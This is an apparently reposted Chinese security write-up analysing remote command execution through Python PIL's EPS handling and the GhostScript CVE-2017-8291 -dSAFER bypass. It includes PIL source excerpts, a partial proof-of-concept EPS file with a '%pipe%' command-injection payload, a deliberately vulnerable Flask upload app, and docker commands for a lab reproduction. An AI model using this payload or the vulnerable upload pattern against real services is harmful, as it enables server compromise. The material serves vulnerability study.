最新消息:图 床

Exploiting Python PIL Module Command Execution Vulnerability

COOL IAM 354浏览 0评论

來源:先知安全技術社區
作者:nearg1e@YSRC

PIL (Python Image Library) 應該是 Python 圖片處理庫中運用最廣泛的,它擁有強大的功能和簡潔的 API。很多 Python Web 應用在需要實現處理圖片的功能時,都會選擇使用 PIL。

PIL 在對 eps 圖片格式進行處理的時候,如果環境內裝有 GhostScript,則會調用 GhostScript 在 dSAFER 模式下處理圖片,即使是最新版本的PIL模塊,也會受到 GhostButt CVE-2017-8291 dSAFER 模式 Bypass 漏洞的影響,產生命令執行漏洞。

據說大牛們看源碼和 dockerfile 就可以了:https://github.com/neargle/PIL-RCE-By-GhostButt

一個簡單常見的 Demo

from PIL import Image
def get_img_size(filepath=""):
    '''獲取圖片長寬'''
    if filepath:
        img = Image.open(filepath)
        img.load()
        return img.size
    return (0, 0)

我們在 Demo 里調用了 PIL 的 Image.open, Image.load 方法加載圖片,最後返回圖片的長和寬。

In [2]: get_img_size('/tmp/images.png')
Out[2]: (183, 275)

分析

Image.open 圖片格式判斷的問題

PIL在 Image.open 函數裡面判斷圖片的格式,首先它調用 _open_core 函數, 在 _open_core 裡面則是調用各個格式模塊中的 _accept 函數,判斷所處理的圖片屬於哪一個格式。

def _open_core(fp, filename, prefix):
    for i in ID:
        try:
            factory, accept = OPEN[i]
            if not accept or accept(prefix):
                fp.seek(0)
                im = factory(fp, filename)
                _decompression_bomb_check(im.size)
                return im
        except (SyntaxError, IndexError, TypeError, struct.error):
            # Leave disabled by default, spams the logs with image
            # opening failures that are entirely expected.
            # logger.debug("", exc_info=True)
            continue
    return None

im = _open_core(fp, filename, prefix)

這裡 _accept(prefix) 函數中的參數 prefix 就是圖片文件頭部的內容

# PIL/GifImagePlugin.py
def _accept(prefix):
    return prefix[:6] in [b"GIF87a", b"GIF89a"]

# PIL/EpsImagePlugin.py
def _accept(prefix):
    return prefix[:4] == b"%!PS" or /
           (len(prefix) >= 4 and i32(prefix) == 0xC6D3D0C5)

可以發現 PIL 使用文件頭來判斷文件類型,也就是說即使我們用它處理一個以 .jpg 結尾的文件,只要文件內容以 %!PS 開頭,那麼 PIL 就會返回一個 PIL.EpsImagePlugin.EpsImageFile 對象,使用 eps 格式的邏輯去處理它。之後調用的 load 方法也是 EpsImageFile 裡面的 load 方法。

Image.load 到 subprocess.check_call

真實的環境中,程序員可能不會刻意去調用 load() 方法,但是其實 Image 文件中幾乎所有的功能函數都會調用到 load()。在 PIL/EpsImagePlugin.py 文件內我們關注的調用鏈為: load() -> Ghostscript() -> subprocess.check_call(), 最後使用 subprocess.check_call 執行了 gs 命令。

command = ["gs",
            "-q",                         # quiet mode
            "-g%dx%d" % size,             # set output geometry (pixels)
            "-r%fx%f" % res,              # set input DPI (dots per inch)
            "-dBATCH",                    # exit after processing
            "-dNOPAUSE",                  # don't pause between pages,
            "-dSAFER",                    # safe mode
            "-sDEVICE=ppmraw",            # ppm driver
            "-sOutputFile=%s" % outfile,  # output file
            "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                            # adjust for image origin
            "-f", infile,                 # input file
            ]

# 省略判斷是GhostScript是否安裝的代碼
try:
    with open(os.devnull, 'w+b') as devnull:
        subprocess.check_call(command, stdin=devnull, stdout=devnull)
    im = Image.open(outfile)

最後其執行的命令為 gs -q -g100x100 -r72.000000x72.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/tmp/tmpi8gqd19k -c 0 0 translate -f ../poc.png, 可以看到 PIL 使用了 dSAFER 參數。這個參數限制了文件刪除,重命名和命令執行等行為,只允許 gs 打開標準輸出和標準錯誤輸出。而 GhostButt CVE-2017-8291 剛好就是 dSAFER 參數的 bypass。

GhostButt CVE-2017-8291

該漏洞的詳細的分析可以看 binjo 師傅的文章:GhostButt – CVE-2017-8291利用分析,原先我復現和構造POC的時候花費了很多時間,後來看了這篇文章,給了我很多幫助。

這裡我們用的 poc 和文章裡面一樣使用,也就是 msf 裡面的 poc:poc.png。雖然這裡修改 eps 後綴為 png ,但其實文件內容確實典型的 eps 文件。截取部分內容如下:

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

... 省略

currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)

我們需要構造的命令執行payload就插入在這裡 : (%pipe%touch /tmp/aaaaa)

真實環境(偽)和復現

我使用之前寫的的 demo 函數和 Flask file-upload-sample 寫了一個簡單的 Web app:app.py,使這個本地命令執行變成一個遠程命令執行。主要代碼如下:

UPLOAD_FOLDER = '/tmp'
ALLOWED_EXTENSIONS = set(['png'])

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def get_img_size(filepath=""):
    '''獲取圖片長寬'''
    if filepath:
        img = Image.open(filepath)
        img.load()
        return img.size
    return (0, 0)

def allowed_file(filename):
    '''判斷文件後綴是否合法'''
    return '.' in filename and /
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    '''文件上傳app'''
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        image_file = request.files['file']
        if image_file.filename == '':
            flash('No selected file')
            return redirect(request.url)
        if image_file and allowed_file(image_file.filename):
            filename = secure_filename(image_file.filename)
            img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            image_file.save(img_path)
            height, width = get_img_size(img_path)
            return '<html><body>the image/'s height : {}, width : {}; </body></html>'/
                .format(height, width)

    return '''
    <!doctype html>
    <title>Upload new File</title>
    <h1>Upload new File</h1>
    <form method=post enctype=multipart/form-data>
      <p><input type=file name=file>
         <input type=submit value=Upload>
    </form>
    '''

考慮到在 Windows 上面安裝 PIL 和 GhostScript 可能會比較費勁,這裡給大家提供一個 dockerfile。

git clone https://github.com/neargle/PIL-RCE-By-GhostButt.git && cd PIL-RCE-By-GhostButt
docker-compose build
docker-compose up -d

訪問 http://localhost:8000/ 可以看到文件上傳頁面。程序只使用允許後綴為 png 的文件上傳,並在上傳成功之後使用PIL獲取圖片長寬。我們修改 poc,使用 dnslog 來驗證漏洞。

頁面截圖:

转载请注明:IAMCOOL » Exploiting Python PIL Module Command Execution Vulnerability

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x